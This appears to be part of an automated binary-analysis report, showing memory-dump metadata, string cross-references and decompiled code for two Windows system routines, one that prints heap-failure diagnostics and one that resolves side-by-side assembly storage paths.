This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 6C0BB484
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 6C0BB323
*** A stack buffer overrun occurred in %ws:%s, xrefs: 6C0BB2F3
*** then kb to get the faulting stack, xrefs: 6C0BB51C
*** An Access Violation occurred in %ws:%s, xrefs: 6C0BB48F
*** enter .cxr %p for the context, xrefs: 6C0BB50D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$ExceptionReport
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 374826753-108210295
Opcode ID: 4cd8d6480c34a058be7a6dc49e8f352bc8176bc2586e44a0cc4b841b22c7a3d1
Instruction ID: 9489fbe2a9b55685622a82b3ad499cbc22defd3954089bbc1a7a6b1d359c8db9
Opcode Fuzzy Hash: 4cd8d6480c34a058be7a6dc49e8f352bc8176bc2586e44a0cc4b841b22c7a3d1
Instruction Fuzzy Hash: A281E17A940100BFDB11DB06DC84FAE7BEAAF4675AF400144F1142BA32D33B9652EB72

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C1C06, Relevance: 80.7, APIs: 21, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E6C0C1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x6bfe48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6C00B150();
				} else {
					E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x6c0f589c);
				E6C00B150("Heap error detected at %p (heap handle %p)\n",  *0x6c0f58a0);
				_t27 =  *0x6c0f5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M6C0C1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6C00B150();
				} else {
					E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E6C00B150("Error code: %d - %s\n",  *0x6c0f5898);
				_t113 =  *0x6c0f58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6C00B150();
					} else {
						E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6C00B150("Parameter1: %p\n",  *0x6c0f58a4);
				}
				_t115 =  *0x6c0f58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6C00B150();
					} else {
						E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6C00B150("Parameter2: %p\n",  *0x6c0f58a8);
				}
				_t117 =  *0x6c0f58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6C00B150();
					} else {
						E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6C00B150("Parameter3: %p\n",  *0x6c0f58ac);
				}
				_t119 =  *0x6c0f58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6C00B150();
					} else {
						E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x6c0f58b4);
					E6C00B150("Last known valid blocks: before - %p, after - %p\n",  *0x6c0f58b0);
				} else {
					_t120 =  *0x6c0f58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6C00B150();
				} else {
					E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E6C00B150("Stack trace available at %p\n", 0x6c0f58c0);
			}

0x6c0c1c10
0x6c0c1c16
0x6c0c1c1e
0x6c0c1c3d
0x6c0c1c3e
0x6c0c1c20
0x6c0c1c35
0x6c0c1c3a
0x6c0c1c44
0x6c0c1c55
0x6c0c1c5a
0x6c0c1c65
0x6c0c1c67
0x00000000
0x6c0c1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6c0c1c67
0x6c0c1cdc
0x6c0c1ce5
0x6c0c1d04
0x6c0c1d05
0x6c0c1ce7
0x6c0c1cfc
0x6c0c1d01
0x6c0c1d0b
0x6c0c1d17
0x6c0c1d1f
0x6c0c1d25
0x6c0c1d30
0x6c0c1d4f
0x6c0c1d50
0x6c0c1d32
0x6c0c1d47
0x6c0c1d4c
0x6c0c1d61
0x6c0c1d67
0x6c0c1d68
0x6c0c1d6e
0x6c0c1d79
0x6c0c1d98
0x6c0c1d99
0x6c0c1d7b
0x6c0c1d90
0x6c0c1d95
0x6c0c1daa
0x6c0c1db0
0x6c0c1db1
0x6c0c1db7
0x6c0c1dc2
0x6c0c1de1
0x6c0c1de2
0x6c0c1dc4
0x6c0c1dd9
0x6c0c1dde
0x6c0c1df3
0x6c0c1df9
0x6c0c1dfa
0x6c0c1e00
0x6c0c1e0a
0x6c0c1e13
0x6c0c1e32
0x6c0c1e33
0x6c0c1e15
0x6c0c1e2a
0x6c0c1e2f
0x6c0c1e39
0x6c0c1e4a
0x6c0c1e02
0x6c0c1e02
0x6c0c1e08
0x00000000
0x00000000
0x6c0c1e08
0x6c0c1e5b
0x6c0c1e7a
0x6c0c1e7b
0x6c0c1e5d
0x6c0c1e72
0x6c0c1e77
0x6c0c1e95

APIs

DbgPrint.1105(HEAP[%wZ]: ,?,?,00000002,6C0F58C0,6C0C20B1,?,6C0BFFAF,00000001,00000020,6C0F58C0,00000000), ref: 6C0C1C35
DbgPrint.1105(HEAP: ,?,00000002,6C0F58C0,6C0C20B1,?,6C0BFFAF,00000001,00000020,6C0F58C0,00000000), ref: 6C0C1C3E
DbgPrint.1105(Heap error detected at %p (heap handle %p),?,00000002,6C0F58C0,6C0C20B1,?,6C0BFFAF,00000001,00000020,6C0F58C0,00000000), ref: 6C0C1C55
DbgPrint.1105(HEAP[%wZ]: ,?,00000020,6C0F58C0,00000000), ref: 6C0C1CFC
DbgPrint.1105(HEAP: ,00000020,6C0F58C0,00000000), ref: 6C0C1D05
DbgPrint.1105(Error code: %d - %s,6BFE48A4,00000020,6C0F58C0,00000000), ref: 6C0C1D17
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1D47
DbgPrint.1105(HEAP: ,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1D50
DbgPrint.1105(Parameter1: %p,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1D61
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1D90
DbgPrint.1105(HEAP: ,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1D99
DbgPrint.1105(Parameter2: %p,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1DAA
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1DD9
DbgPrint.1105(HEAP: ,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1DE2
DbgPrint.1105(Parameter3: %p,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1DF3
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1E2A
DbgPrint.1105(HEAP: ,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1E33
DbgPrint.1105(Last known valid blocks: before - %p, after - %p,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1E4A
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1E72
DbgPrint.1105(Stack trace available at %p,6C0F58C0,?,?,?,?,?,?,?,6C0F58C0,00000000), ref: 6C0C1E8B

Strings

heap_failure_buffer_overrun, xrefs: 6C0C1C98
heap_failure_internal, xrefs: 6C0C1C6E
heap_failure_multiple_entries_corruption, xrefs: 6C0C1C8A
Error code: %d - %s, xrefs: 6C0C1D12
heap_failure_listentry_corruption, xrefs: 6C0C1CD0
Heap error detected at %p (heap handle %p), xrefs: 6C0C1C50
Parameter3: %p, xrefs: 6C0C1DEE
Parameter2: %p, xrefs: 6C0C1DA5
heap_failure_freelists_corruption, xrefs: 6C0C1CC9
heap_failure_unknown, xrefs: 6C0C1C75
Last known valid blocks: before - %p, after - %p, xrefs: 6C0C1E45
heap_failure_block_not_busy, xrefs: 6C0C1CA6
heap_failure_usage_after_free, xrefs: 6C0C1CBB
heap_failure_cross_heap_operation, xrefs: 6C0C1CC2
heap_failure_entry_corruption, xrefs: 6C0C1C83
HEAP: , xrefs: 6C0C1C16, 6C0C1C3D, 6C0C1D04, 6C0C1D4F, 6C0C1D98, 6C0C1DE1, 6C0C1E32, 6C0C1E7A
HEAP[%wZ]: , xrefs: 6C0C1C30, 6C0C1CF7, 6C0C1D42, 6C0C1D8B, 6C0C1DD4, 6C0C1E25, 6C0C1E6D
Parameter1: %p, xrefs: 6C0C1D5C
Stack trace available at %p, xrefs: 6C0C1E86
heap_failure_invalid_allocation_type, xrefs: 6C0C1CB4
heap_failure_invalid_argument, xrefs: 6C0C1CAD
heap_failure_virtual_block_corruption, xrefs: 6C0C1C91
heap_failure_generic, xrefs: 6C0C1C7C
heap_failure_buffer_underrun, xrefs: 6C0C1C9F
heap_failure_lfh_bitmap_mismatch, xrefs: 6C0C1CD7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 3558298466-2897834094
Opcode ID: e973e4a126fbeca64ddda9cff0d2427c7c48ded9a1bc96eaf6d11737b70c6cd0
Instruction ID: 11950b4440c6ed30661e2d3b2d8e9befe4cf9c9fbfbd4f892c4e7144fc45a16e
Opcode Fuzzy Hash: e973e4a126fbeca64ddda9cff0d2427c7c48ded9a1bc96eaf6d11737b70c6cd0
Instruction Fuzzy Hash: AD61AC37721448EFDB119B88D484F6C73E4E749F24F56806AF8046BB31D739D8828A1B

Uniqueness

Uniqueness Score: -1.00%

Function 6C03C9BF, Relevance: 51.2, APIs: 18, Strings: 11, Instructions: 412
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6C03C9BF(void* __ecx, signed int __edx, signed int _a4, intOrPtr _a12) {
				signed int _v12;
				char _v552;
				char _v1072;
				char _v1073;
				signed int _v1080;
				signed int _v1084;
				signed short _v1088;
				void* _v1092;
				signed short _v1094;
				char _v1096;
				char _v1100;
				intOrPtr _v1104;
				void* _v1108;
				char _v1112;
				char _v1116;
				signed short _v1120;
				char _v1124;
				char* _v1128;
				char _v1132;
				char _v1135;
				char _v1136;
				void* _v1140;
				char _v1144;
				intOrPtr _v1148;
				short _v1150;
				char _v1152;
				void* _v1156;
				char* _v1160;
				char _v1164;
				void* _v1168;
				void* _v1172;
				intOrPtr _v1176;
				void* _v1180;
				char _v1184;
				signed int _v1188;
				signed int _v1192;
				intOrPtr _v1196;
				char* _v1200;
				intOrPtr _v1204;
				char _v1208;
				char _v1216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t166;
				void* _t170;
				wchar_t* _t184;
				signed short _t188;
				char _t199;
				intOrPtr _t200;
				signed int _t205;
				signed int _t207;
				intOrPtr _t218;
				short _t219;
				char _t236;
				char _t242;
				signed int _t253;
				intOrPtr _t258;
				void* _t260;
				signed int _t264;
				void* _t272;
				void* _t276;
				unsigned int _t277;
				signed short _t279;
				signed int _t280;
				void* _t281;
				void* _t305;

				_t271 = __edx;
				_v12 =  *0x6c0fd360 ^ _t280;
				_t253 = _a4;
				_v1104 = _a12;
				_t272 = __ecx;
				_v1160 =  &_v1072;
				_v1168 = __ecx;
				_t166 = 0;
				_v1073 = 0;
				_v1084 = 0;
				_t274 = 0;
				_v1156 = 0;
				_v1164 = 0x2080000;
				_v1096 = 0;
				_v1092 = 0;
				_v1112 = 0;
				_v1108 = 0;
				_v1100 = 0;
				if(__ecx == 0) {
					L67:
					_push(_t166);
					_push(_t253);
					_push(_t271);
					_push(_t272);
					E6C095720(0x33, 0, "SXS: %s() bad parameters\nSXS:   Map                : %p\nSXS:   Data               : %p\nSXS:   AssemblyRosterIndex: 0x%lx\nSXS:   Map->AssemblyCount : 0x%lx\n", "RtlpResolveAssemblyStorageMapEntry");
					_t274 = 0xc000000d;
					L21:
					if(_v1073 == 0) {
						L23:
						if(_v1092 != 0) {
							E6C00AD30(_v1092);
						}
						L24:
						if(_v1084 != 0) {
							_push(_v1084);
							E6C0495D0();
						}
						_t170 = _v1156;
						if(_t170 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t170);
						}
						L26:
						return E6C04B640(_t274, _t253, _v12 ^ _t280, _t271, _t272, _t274);
					}
					L22:
					_v1144 = _v1100;
					E6C03CCC0(4,  &_v1144, _v1104);
					goto L23;
				}
				if(__edx == 0 || _t253 < 1 || _t253 >  *((intOrPtr*)(__ecx + 4))) {
					_t166 =  *((intOrPtr*)(_t272 + 4));
					goto L67;
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 8)) + _t253 * 4)) != 0) {
						goto L26;
					}
					asm("lfence");
					_t258 =  *((intOrPtr*)(__edx + 0x18));
					_t260 =  *((intOrPtr*)(_t258 + __edx + 0x10)) + __edx;
					_t276 =  *((intOrPtr*)(_t253 * 0x18 +  *((intOrPtr*)(_t258 + __edx + 0xc)) + __edx + 0x10)) + __edx;
					_t181 =  *((intOrPtr*)(_t276 + 0x50));
					if( *((intOrPtr*)(_t276 + 0x50)) > 0xfffe) {
						_push(__edx);
						E6C095720(0x33, 0, "SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p\n", _t181);
						_t274 = 0xc0000106;
						goto L23;
					}
					if(( *(_t276 + 4) & 0x00000010) != 0) {
						_v1080 =  &_v1164;
						_t272 =  *((intOrPtr*)(_t276 + 0x18)) + _t260;
						if(_t272 != 0) {
							_t184 = wcsrchr(_t272, 0x5c);
							if(_t184 != 0) {
								_t188 = 0x00000004 + (_t184 - _t272 >> 0x00000001) * 0x00000002 & 0x0000ffff;
								_v1088 = _t188;
								_t277 = _t188 & 0x0000ffff;
								if(_t188 <= 0x208) {
									_t264 = _v1080;
									L39:
									memcpy( *(_t264 + 4), _t272, _t277 - 2);
									_t281 = _t281 + 0xc;
									 *((short*)( *((intOrPtr*)(_v1080 + 4)) + (_t277 >> 1) * 2 - 2)) = 0;
									 *_v1080 = _v1088 + 0xfffffffe;
									L18:
									if(_v1084 == 0) {
										if(E6C016A00( *((intOrPtr*)(_v1080 + 4)),  &_v1112, 0,  &_v1184) != 0) {
											_v1156 = _v1108;
											_t199 = _v1184;
											if(_t199 == 0) {
												_t200 = 0;
											} else {
												_v1112 = _t199;
												_v1108 = _v1180;
												_t200 = _v1176;
											}
											_v1192 = _v1192 & 0x00000000;
											_v1188 = _v1188 & 0x00000000;
											_v1204 = _t200;
											_push(0x21);
											_v1200 =  &_v1112;
											_push(3);
											_push( &_v1216);
											_v1208 = 0x18;
											_push( &_v1208);
											_push(0x100020);
											_v1196 = 0x40;
											_push( &_v1084);
											_t205 = E6C049830();
											_t272 = _v1172;
											_t274 = _t205;
											if(_t272 != 0) {
												asm("lock xadd [edi], eax");
												if((_t205 | 0xffffffff) == 0) {
													_push( *((intOrPtr*)(_t272 + 4)));
													E6C0495D0();
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t272);
												}
											}
											if(_t274 >= 0) {
												goto L19;
											} else {
												_push(_t274);
												E6C095720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n",  *((intOrPtr*)(_v1080 + 4)));
												goto L21;
											}
										}
										E6C095720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n",  *((intOrPtr*)(_v1080 + 4)));
										_t274 = 0xc000003a;
										goto L21;
									}
									L19:
									_t271 = _t253;
									_t207 = E6C03CE6C(_v1168, _t253, _v1080,  &_v1084);
									_t274 = _t207;
									if(_t207 < 0) {
										E6C095720(0x33, 0, "SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx\n", _t274);
									} else {
										_t274 = 0;
									}
									goto L21;
								}
								_v1094 = _t188;
								_t218 = E6C023A1C(_t277);
								_v1092 = _t218;
								if(_t218 != 0) {
									_t264 =  &_v1096;
									_v1080 = _t264;
									goto L39;
								}
								_t274 = 0xc0000017;
								goto L24;
							}
							_t274 = 0xc00000e5;
							goto L23;
						}
						_t274 = 0xc00000e5;
						goto L26;
					}
					_v1080 = _v1080 & 0x00000000;
					_t219 =  *((intOrPtr*)(_t276 + 0x50));
					_v1152 = _t219;
					_v1150 = _t219;
					_v1144 = __edx;
					_v1148 =  *((intOrPtr*)(_t276 + 0x54)) + _t260;
					_v1140 = _t253;
					_v1128 =  &_v552;
					_v1136 = 0;
					_v1132 = 0x2160000;
					_v1124 = 0;
					_v1116 = 0;
					_v1120 = 0;
					E6C03CCC0(1,  &_v1144, _v1104);
					if(_v1116 != 0) {
						_t274 = 0xc0000120;
						goto L23;
					}
					if(_v1124 != 0) {
						_t271 =  &_v1132;
						_t274 = E6C03CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 >= 0) {
							_t271 = _t253;
							_t274 = E6C03CE6C(_t272, _t253,  &_v1132,  &_v1084);
							if(_t274 < 0) {
								_push(_t274);
								_push(_t253);
								_push("SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx\n");
								L44:
								_push(0);
								_push(0x33);
								E6C095720();
								goto L23;
							}
							_t274 = 0;
							goto L23;
						}
						_push(_t274);
						_push( &_v1132);
						_push("SXS: Attempt to probe known root of assembly storage (\"%wZ\") failed; Status = 0x%08lx\n");
						goto L44;
					}
					_t279 = _v1120;
					_t272 = 0;
					_t236 = _v1136;
					_v1100 = _t236;
					_v1088 = _t279;
					_v1073 = 1;
					if(_t279 == 0) {
						L16:
						_t305 = _t272 - _t279;
						L17:
						if(_t305 == 0) {
							L54:
							_push(_t272);
							E6C095720(0x33, 0, "SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries\n",  &_v1152);
							_t274 = 0xc0150004;
							goto L22;
						}
						goto L18;
					} else {
						goto L10;
					}
					while(1) {
						L10:
						_v1144 = _t236;
						_v1128 =  &_v552;
						_v1140 = _t272;
						_v1132 = 0x2160000;
						_v1136 = 0;
						E6C03CCC0(2,  &_v1144, _v1104);
						if(_v1136 != 0) {
							break;
						}
						_t242 = _v1132;
						if(_v1135 != 0) {
							if(_t242 == 0) {
								goto L54;
							}
							_t119 = _t272 + 1; // 0x1
							_t279 = _t119;
							_v1088 = _t279;
						}
						if(_t242 == 0) {
							L27:
							_t272 = _t272 + 1;
							if(_t272 >= _t279) {
								goto L17;
							} else {
								_t236 = _v1100;
								continue;
							}
						}
						if(_v1084 != 0) {
							_push(_v1084);
							E6C0495D0();
							_v1084 = _v1084 & 0x00000000;
						}
						_t271 =  &_v1132;
						_t274 = E6C03CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 < 0) {
							if(_t274 != 0xc0150004) {
								_push(_t274);
								_push( &_v1152);
								E6C095720(0x33, 0, "SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx\n",  &_v1132);
								goto L22;
							}
							_t279 = _v1088;
							goto L27;
						} else {
							_t279 = _v1088;
							goto L16;
						}
					}
					_t274 = 0xc0000120;
					goto L22;
				}
			}

0x6c03c9bf
0x6c03c9d1
0x6c03c9d8
0x6c03c9dc
0x6c03c9e9
0x6c03c9eb
0x6c03c9f3
0x6c03c9f9
0x6c03c9fb
0x6c03ca01
0x6c03ca07
0x6c03ca09
0x6c03ca0f
0x6c03ca19
0x6c03ca1f
0x6c03ca25
0x6c03ca2b
0x6c03ca31
0x6c03ca39
0x6c07ac23
0x6c07ac23
0x6c07ac24
0x6c07ac25
0x6c07ac26
0x6c07ac34
0x6c07ac3c
0x6c03cc3c
0x6c03cc43
0x6c03cc65
0x6c03cc6c
0x6c07ac4c
0x6c07ac4c
0x6c03cc72
0x6c03cc79
0x6c07ac56
0x6c07ac5c
0x6c07ac5c
0x6c03cc7f
0x6c03cc87
0x6c07ac72
0x6c07ac72
0x6c03cc8d
0x6c03cc9f
0x6c03cc9f
0x6c03cc45
0x6c03cc51
0x6c03cc60
0x00000000
0x6c03cc60
0x6c03ca41
0x6c07ac20
0x00000000
0x6c03ca59
0x6c03ca5f
0x00000000
0x00000000
0x6c03ca65
0x6c03ca68
0x6c03ca76
0x6c03ca7c
0x6c03ca7e
0x6c03ca86
0x6c07a8ea
0x6c07a8f5
0x6c07a8fd
0x00000000
0x6c07a8fd
0x6c03ca90
0x6c07a90d
0x6c07a916
0x6c07a918
0x6c07a927
0x6c07a930
0x6c07a94c
0x6c07a94f
0x6c07a955
0x6c07a95b
0x6c07a98c
0x6c07a992
0x6c07a99a
0x6c07a9a9
0x6c07a9af
0x6c07a9c3
0x6c03cc09
0x6c03cc10
0x6c07ab03
0x6c07ab2f
0x6c07ab35
0x6c07ab3e
0x6c07ab5a
0x6c07ab40
0x6c07ab40
0x6c07ab4c
0x6c07ab52
0x6c07ab52
0x6c07ab5c
0x6c07ab63
0x6c07ab6a
0x6c07ab76
0x6c07ab78
0x6c07ab84
0x6c07ab86
0x6c07ab8d
0x6c07ab97
0x6c07ab98
0x6c07aba3
0x6c07abad
0x6c07abae
0x6c07abb3
0x6c07abb9
0x6c07abbd
0x6c07abc2
0x6c07abc6
0x6c07abc8
0x6c07abcb
0x6c07abdc
0x6c07abdc
0x6c07abc6
0x6c07abe3
0x00000000
0x6c07abe9
0x6c07abef
0x6c07abfc
0x00000000
0x6c07ac01
0x6c07abe3
0x6c07ab17
0x6c07ab1f
0x00000000
0x6c07ab1f
0x6c03cc16
0x6c03cc29
0x6c03cc2b
0x6c03cc30
0x6c03cc34
0x6c07ac13
0x6c03cc3a
0x6c03cc3a
0x6c03cc3a
0x00000000
0x6c03cc34
0x6c07a95e
0x6c07a965
0x6c07a96a
0x6c07a972
0x6c07a97e
0x6c07a984
0x00000000
0x6c07a984
0x6c07a974
0x00000000
0x6c07a974
0x6c07a932
0x00000000
0x6c07a932
0x6c07a91a
0x00000000
0x6c07a91a
0x6c03ca96
0x6c03ca9d
0x6c03caa7
0x6c03caae
0x6c03caba
0x6c03cac0
0x6c03cace
0x6c03cad4
0x6c03cae3
0x6c03cae9
0x6c03caf3
0x6c03caf9
0x6c03caff
0x6c03cb05
0x6c03cb11
0x6c07a9cb
0x00000000
0x6c07a9cb
0x6c03cb1e
0x6c07a9f8
0x6c07aa03
0x6c07aa07
0x6c07aa36
0x6c07aa47
0x6c07aa4b
0x6c07aa18
0x6c07aa19
0x6c07aa1a
0x6c07aa1f
0x6c07aa1f
0x6c07aa21
0x6c07aa23
0x00000000
0x6c07aa28
0x6c07aa4d
0x00000000
0x6c07aa4d
0x6c07aa09
0x6c07aa10
0x6c07aa11
0x00000000
0x6c07aa11
0x6c03cb24
0x6c03cb2a
0x6c03cb2c
0x6c03cb32
0x6c03cb38
0x6c03cb3e
0x6c03cb47
0x6c03cc01
0x6c03cc01
0x6c03cc03
0x6c03cc03
0x6c07aac0
0x6c07aac0
0x6c07aad1
0x6c07aad9
0x00000000
0x6c07aad9
0x00000000
0x00000000
0x00000000
0x00000000
0x6c03cb4d
0x6c03cb4d
0x6c03cb53
0x6c03cb5f
0x6c03cb6e
0x6c03cb74
0x6c03cb7e
0x6c03cb87
0x6c03cb93
0x00000000
0x00000000
0x6c03cba0
0x6c03cba7
0x6c07aa57
0x00000000
0x00000000
0x6c07aa59
0x6c07aa59
0x6c07aa5c
0x6c07aa5c
0x6c03cbb0
0x6c03cca2
0x6c03cca2
0x6c03cca5
0x00000000
0x6c03ccab
0x6c03ccab
0x00000000
0x6c03ccab
0x6c03cca5
0x6c03cbbd
0x6c07aa67
0x6c07aa6d
0x6c07aa72
0x6c07aa72
0x6c03cbe6
0x6c03cbf1
0x6c03cbf5
0x6c07aa84
0x6c07aa91
0x6c07aa98
0x6c07aaa9
0x00000000
0x6c07aaae
0x6c07aa86
0x00000000
0x6c03cbfb
0x6c03cbfb
0x00000000
0x6c03cbfb
0x6c03cbf5
0x6c07aab6
0x00000000
0x6c07aab6

APIs

DbgPrintEx.1105(00000033,00000000,SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p,?,?,?,00000000,00000002), ref: 6C07A8F5

Part of subcall function 6C03CCC0: memcpy.1105(6BFE4F84,?,6C016167,00000040,?,?), ref: 6C03CD56

DbgPrintEx.1105(00000033,00000000,SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx,?,00000000,02160000,?,?,02080000,?,00000000,?,00000001,?,?,?), ref: 6C07AA23
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx,RtlpResolveAssemblyStorageMapEntry,00000040,?,00000000,00000000,?,00000000,00000002), ref: 6C07AC34
RtlDeleteBoundaryDescriptor.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6C07AC4C
ZwClose.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6C07AC5C
